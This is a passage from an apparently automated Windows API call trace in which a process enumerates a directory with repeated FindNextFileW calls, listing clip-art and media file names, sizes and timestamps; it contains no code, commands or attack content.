dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0137.808] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0137.808] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0137.808] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0137.809] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdfc2d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0137.810] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdfc2d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdfc2d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe00f20a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0137.811] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, 